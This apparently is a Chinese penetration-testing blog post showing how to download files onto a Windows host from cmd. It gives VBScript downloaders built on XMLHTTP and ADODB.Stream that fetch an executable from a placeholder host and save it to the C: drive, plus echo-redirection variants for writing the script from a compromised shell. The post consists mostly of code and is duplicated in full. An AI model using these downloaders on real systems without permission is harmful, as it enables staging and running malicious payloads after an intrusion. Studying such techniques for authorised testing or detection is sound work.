渗透测试中的文件传输通道1- cmd下下载文件
2015-11-08 11:00
337 查看
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:\dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:\dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
相关文章推荐
- jsLint配置参数解释
- LeetCode Nim Game 递推
- 在TabControl中的TabPage选项卡中添加Form窗体
- 数据库
- 典型用户
- Mini2440存储控制器
- 支付宝iOS_SDK下载真不好找
- SQL基础学习5
- DP--矩阵连乘
- poj2549
- Openstack Murano(kilo)二次开发之添加Volume
- BFC, IFC
- ARP协议工作过程
- mysql show命令集合
- 信息安全系统设计基础第八周学习总结
- less和scss
- Java动态代理机制
- Linux 学习(3)-- kernel版本号的修改
- Python学习笔记(3)range的用法
- ApplicationContext的三种实现方式以及在web.xml配置的两种方式